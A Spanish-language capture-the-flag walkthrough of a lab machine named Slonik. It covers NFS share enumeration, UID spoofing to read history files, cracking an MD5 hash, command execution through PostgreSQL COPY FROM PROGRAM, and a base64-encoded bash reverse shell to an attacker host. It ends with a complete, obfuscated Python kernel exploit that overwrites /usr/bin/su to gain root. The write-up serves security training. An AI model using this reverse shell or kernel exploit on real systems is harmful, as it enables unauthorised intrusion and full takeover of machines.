Machine Slonik
Esta máquina consiste en explotar un recurso compartido de NFS inseguro que filtra historiales sensibles de bases de datos y la solución consiste en recuperar credenciales de PostgreSQL, lograr ejecución remota de comandos y finalmente escalar privilegios mediante la explotación de la vulnerabilidad del kernel CVE-2026-31431 (Copy Fail).
Reconocimiento
Se lleva a cabo un escaneo de puertos inicial para identificar los servicios expuestos en el objetivo.
$ mkdir nmap content exploits
$ cd nmap
$ sudo nmap -sS -p- --open --min-rate 5000 -n -Pn 10.129.234.160 -vvv -oN allPorts
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-21 10:49 -0500
Initiating SYN Stealth Scan at 10:49
Scanning 10.129.234.160 [65535 ports]
Discovered open port 22/tcp on 10.129.234.160
Discovered open port 111/tcp on 10.129.234.160
Discovered open port 57755/tcp on 10.129.234.160
Discovered open port 43555/tcp on 10.129.234.160
Discovered open port 58383/tcp on 10.129.234.160
Discovered open port 2049/tcp on 10.129.234.160
Discovered open port 51671/tcp on 10.129.234.160
Discovered open port 42201/tcp on 10.129.234.160
Completed SYN Stealth Scan at 10:49, 13.23s elapsed (65535 total ports)
Nmap scan report for 10.129.234.160
Host is up, received user-set (0.077s latency).
Scanned at 2026-07-21 10:49:18 -05 for 14s
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
111/tcp open rpcbind syn-ack ttl 63
2049/tcp open nfs syn-ack ttl 63
42201/tcp open unknown syn-ack ttl 63
43555/tcp open unknown syn-ack ttl 63
51671/tcp open unknown syn-ack ttl 63
57755/tcp open unknown syn-ack ttl 63
58383/tcp open unknown syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds
Raw packets sent: 65753 (2.893MB) | Rcvd: 65560 (2.622MB)
Los resultados muestran múltiples puertos abiertos. Un escaneo dirigido es ejecutado para recopilar información de versiones y ejecutar scripts básicos de reconocimiento.
$ sudo nmap -sCV -p22,111,2049,42201,43555,51671,57755,58383 -n -Pn 10.129.234.160 -vvv -oN targeted
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-21 10:53 -0500
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
Initiating SYN Stealth Scan at 10:53
Scanning 10.129.234.160 [8 ports]
Discovered open port 22/tcp on 10.129.234.160
Discovered open port 51671/tcp on 10.129.234.160
Discovered open port 43555/tcp on 10.129.234.160
Discovered open port 2049/tcp on 10.129.234.160
Discovered open port 58383/tcp on 10.129.234.160
Discovered open port 111/tcp on 10.129.234.160
Discovered open port 42201/tcp on 10.129.234.160
Discovered open port 57755/tcp on 10.129.234.160
Completed SYN Stealth Scan at 10:53, 0.13s elapsed (8 total ports)
Initiating Service scan at 10:53
Scanning 8 services on 10.129.234.160
Completed Service scan at 10:53, 6.80s elapsed (8 services on 1 host)
NSE: Script scanning 10.129.234.160.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 2.23s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.32s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
Nmap scan report for 10.129.234.160
Host is up, received user-set (0.089s latency).
Scanned at 2026-07-21 10:53:23 -05 for 10s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCg2ZwoeeTHpT0NE9y1kgjXCoLjxWI1WocvyxcphoTOikVc/BKLBjSRv3k5cnDz1O5EodAsYYJipkYxKxNXLcPY=
| 256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY88SdKd54ftUGvVdXkYtlmsHDrKGeGVgu6PykWXISO
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 53375/udp6 mountd
| 100005 1,2,3 53629/udp mountd
| 100005 1,2,3 55339/tcp6 mountd
| 100005 1,2,3 57755/tcp mountd
| 100021 1,3,4 35855/tcp6 nlockmgr
| 100021 1,3,4 43555/tcp nlockmgr
| 100021 1,3,4 56517/udp6 nlockmgr
| 100021 1,3,4 58621/udp nlockmgr
| 100024 1 36855/udp status
| 100024 1 48215/tcp6 status
| 100024 1 50823/udp6 status
| 100024 1 58383/tcp status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl syn-ack ttl 63 3 (RPC #100227)
42201/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
43555/tcp open nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
51671/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
57755/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
58383/tcp open status syn-ack ttl 63 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.71 seconds
Raw packets sent: 8 (352B) | Rcvd: 8 (352B)
La presencia de SSH activo en una distribución Ubuntu, junto con rpcbind en el puerto 111 y nfs_acl en el puerto 2049, indica la existencia de recursos compartidos mediante Network File System (NFS).
Explorando Recursos NFS
El comando showmount revela los directorios exportados en el objetivo.
$ showmount -e 10.129.234.160
Export list for 10.129.234.160:
/var/backups *
/home *
Se observa un directorio de copias de seguridad y un directorio de usuarios. El directorio de respaldos es montado de forma local para inspeccionar su contenido.
$ cd ../content
$ sudo mkdir -p nfs_content
$ sudo mount -t nfs 10.129.234.160:/var/backups ./nfs_content
$ ls nfs_content
archive-2026-07-21T1746.zip archive-2026-07-21T1748.zip archive-2026-07-21T1750.zip
archive-2026-07-21T1747.zip archive-2026-07-21T1749.zip archive-2026-07-21T1751.zip
El análisis muestra diversos archivos ZIP. El directorio home también se monta para buscar potenciales archivos de usuario.
$ sudo mkdir -p nfs_home
$ sudo mount -t nfs 10.129.234.160:/home ./nfs_home
$ ls nfs_home
service
$ ls -la nfs_home
total 8
drwxr-xr-x 3 root root 4096 Oct 24 2023 .
drwxr-xr-x 1 fu11shoot fu11shoot 38 Jul 21 12:54 ..
drwxr-x--- 5 1337 1337 4096 Sep 22 2025 service
Se identifica un directorio llamado service. Los permisos indican que pertenece a un usuario y grupo con el identificador 1337.
Accediendo al Directorio Restringido
Para evadir las restricciones de lectura del archivo, un usuario y grupo local con el ID 1337 son creados.
$ sudo groupadd -g 1337 grp1337
$ sudo useradd -u 1337 -g 1337 -M -s /bin/zsh usr1337
$ sudo su usr1337
Cambiar a este nuevo usuario proporciona los permisos necesarios para leer el contenido del directorio service.
$ ls -la nfs_home/service
total 40
drwxr-x--- 5 usr1337 grp1337 4096 Sep 22 2025 .
drwxr-xr-x 3 root root 4096 Oct 24 2023 ..
-rw-r--r-- 1 usr1337 grp1337 90 Sep 22 2025 .bash_history
-rw-r--r-- 1 usr1337 grp1337 220 Oct 24 2023 .bash_logout
-rw-r--r-- 1 usr1337 grp1337 3771 Oct 24 2023 .bashrc
drwx------ 2 usr1337 grp1337 4096 Oct 24 2023 .cache
drwxrwxr-x 3 usr1337 grp1337 4096 Oct 24 2023 .local
-rw-r--r-- 1 usr1337 grp1337 807 Oct 24 2023 .profile
-rw-r--r-- 1 usr1337 grp1337 326 Sep 22 2025 .psql_history
drwxrwxr-x 2 usr1337 grp1337 4096 Oct 24 2023 .ssh
El directorio contiene archivos de historial de interés. Revisar el archivo .bash_history revela la presencia de un usuario de PostgreSQL llamado postgres y un socket de dominio Unix.
$ cat nfs_home/service/.bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit
Al examinar el archivo .psql_history, se descubren interacciones con la base de datos, incluyendo la inserción de un nombre de usuario y una contraseña cifrada con MD5.
$ cat nfs_home/service/.psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', 'aaabf0d39951f3e6c3e8a7911df524c2'WHERE', network access account');
select * from users;
\q
El hash MD5 aaabf0d39951f3e6c3e8a7911df524c2 es procesado mediante un servicio como hashes.com, logrando obtener la contraseña en texto claro.
aaabf0d39951f3e6c3e8a7911df524c2:service
Se realiza un intento de inicio de sesión en la máquina por SSH usando las credenciales descubiertas.
$ ssh service@10.129.234.160
The authenticity of host '10.129.234.160 (10.129.234.160)' can't be established.
ED25519 key fingerprint is: SHA256:j/hcANass/0veF/m0NAMOR41osL5zUMMMQ9nCYiwjmY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/usr1337/.ssh' (No such file or directory).
Failed to add the host to the list of known hosts (/home/usr1337/.ssh/known_hosts).
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(service@10.129.234.160) Password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1036-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Jul 21 18:59:24 UTC 2026
System load: 0.17
Usage of /: 44.5% of 6.59GB
Memory usage: 8%
Swap usage: 0%
Processes: 229
Users logged in: 0
IPv4 address for eth0: 10.129.234.160
IPv6 address for eth0: dead:beef::a0de:adff:fe1f:78f6
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Connection to 10.129.234.160 closed.
La conexión se cierra de inmediato tras autenticarse, lo que impide el acceso interactivo al sistema de manera convencional. No obstante, SSH permite configurar un reenvío de puertos local para interactuar con el socket de PostgreSQL encontrado con anterioridad.
$ ssh -N -L 5432:/var/run/postgresql/.s.PGSQL.5432 service@10.129.234.160
The authenticity of host '10.129.234.160 (10.129.234.160)' can't be established.
ED25519 key fingerprint is: SHA256:j/hcANass/0veF/m0NAMOR41osL5zUMMMQ9nCYiwjmY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/usr1337/.ssh' (No such file or directory).
Failed to add the host to the list of known hosts (/home/usr1337/.ssh/known_hosts).
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(service@10.129.234.160) Password:
Con el socket redirigido, se establece una conexión a la base de datos PostgreSQL de forma local.
$ psql -h 127.0.0.1 -p 5432 -U postgres -W
Password:
psql (18.4, server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
Type "help" for help.
postgres=#
Es posible ejecutar comandos en el sistema aprovechando la sentencia COPY ... FROM PROGRAM en PostgreSQL. Se crea una tabla temporal que almacena la salida de la ejecución de comandos para visualizarla con una simple consulta.
postgres=# CREATE TEMP TABLE command (line text);
CREATE TABLE
postgres=# COPY command FROM PROGRAM 'ls -la';
COPY 24
postgres=# SELECT * FROM command;
line
------------------------------------------------------------------------
total 92
drwx------ 19 postgres postgres 4096 Jul 21 15:44 .
drwxr-xr-x 3 postgres postgres 4096 Oct 23 2023 ..
-rw------- 1 postgres postgres 3 Oct 23 2023 PG_VERSION
drwx------ 7 postgres postgres 4096 Oct 24 2023 base
drwx------ 2 postgres postgres 4096 Jul 21 15:45 global
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_commit_ts
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_dynshmem
drwx------ 4 postgres postgres 4096 Jul 21 19:39 pg_logical
drwx------ 4 postgres postgres 4096 Oct 23 2023 pg_multixact
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_notify
drwx------ 2 postgres postgres 4096 Jul 21 19:39 pg_replslot
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_serial
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_snapshots
drwx------ 2 postgres postgres 4096 Jul 21 15:44 pg_stat
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_stat_tmp
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_subtrans
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_tblspc
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_twophase
drwx------ 3 postgres postgres 4096 Jul 21 19:39 pg_wal
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_xact
-rw------- 1 postgres postgres 88 Oct 23 2023 postgresql.auto.conf
-rw------- 1 postgres postgres 130 Jul 21 15:44 postmaster.opts
-rw------- 1 postgres postgres 98 Jul 21 15:44 postmaster.pid
(24 rows)
La ejecución del comando resulta exitosa. Con esto validado, se inicia un servidor de escucha mediante netcat en el puerto 443 para interceptar una conexión de shell inversa.
$ sudo nc -nlvp 443
Listening on 0.0.0.0 443
Se introduce una carga útil codificada en base64 a través de la base de datos para evitar cualquier problema de sintaxis con caracteres especiales, logrando así obtener la conexión deseada.
postgres=# DROP TABLE command;
DROP TABLE
postgres=# CREATE TEMP TABLE command (line text);
CREATE TABLE
postgres=# COPY command FROM PROGRAM 'printf L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0Ljg3LzQ0MyAwPiYxCg== | base64 -d | bash';
La conexión entrante es recibida satisfactoriamente por el servidor de escucha.
Connection received on 10.129.234.160 53816
bash: cannot set terminal process group (30675): Inappropriate ioctl for device
bash: no job control in this shell
Tras consolidar el acceso al sistema, la flag de usuario queda expuesta y puede leerse.
$ cd /
cd /
$ find / -name user.txt 2>/dev/null
find / -name user.txt 2>/dev/null
/var/lib/postgresql/user.txt
$ cat /var/lib/postgresql/user.txt
cat /var/lib/postgresql/user.txt
[FLAG]
Para trabajar en un entorno más estable y facilitar el proceso, se asigna una TTY interactiva utilizando la utilidad script.
$ cd /var/lib/postgresql/14/main
$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
postgres@slonik:/var/lib/postgresql/14/main$ ^Z
zsh: suspended sudo nc -nlvp 443
$ stty raw -echo; fg
$ reset xterm
$ export TERM=xterm
Al inspeccionar la información del sistema, se averigua la versión actual del kernel.
$ uname -a
Linux slonik 6.8.0-1036-aws #38~22.04.1-Ubuntu SMP Fri Aug 22 15:44:33 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
Se determina que el sistema ejecuta un kernel vulnerable al exploit conocido como "Copy Fail" (CVE-2026-31431). Se elabora un script de Python (exploit.py) diseñado para aprovechar dicha vulnerabilidad.
$ nano exploit.py
$ cat exploit.py
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
h=279
v=a.setsockopt
v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
u,_=a.accept()
o=t+4
i=d('00')
u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768)
r,w=g.pipe()
n=g.splice
n(f,w,o,offset_src=0)
n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0)
i=0
e=zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160"
"c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e"
"10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Al ejecutar el script, la vulnerabilidad en el kernel es explotada con éxito, brindando acceso al sistema como usuario root.
$ python3 exploit.py && su
$ whoami
root
Con control total sobre la máquina, la flag final de root es obtenida, marcando el compromiso de todo el sistema.
$ find / -name root.txt 2>/dev/null
/root/root.txt
$ cat /root/root.txt
[FLAG]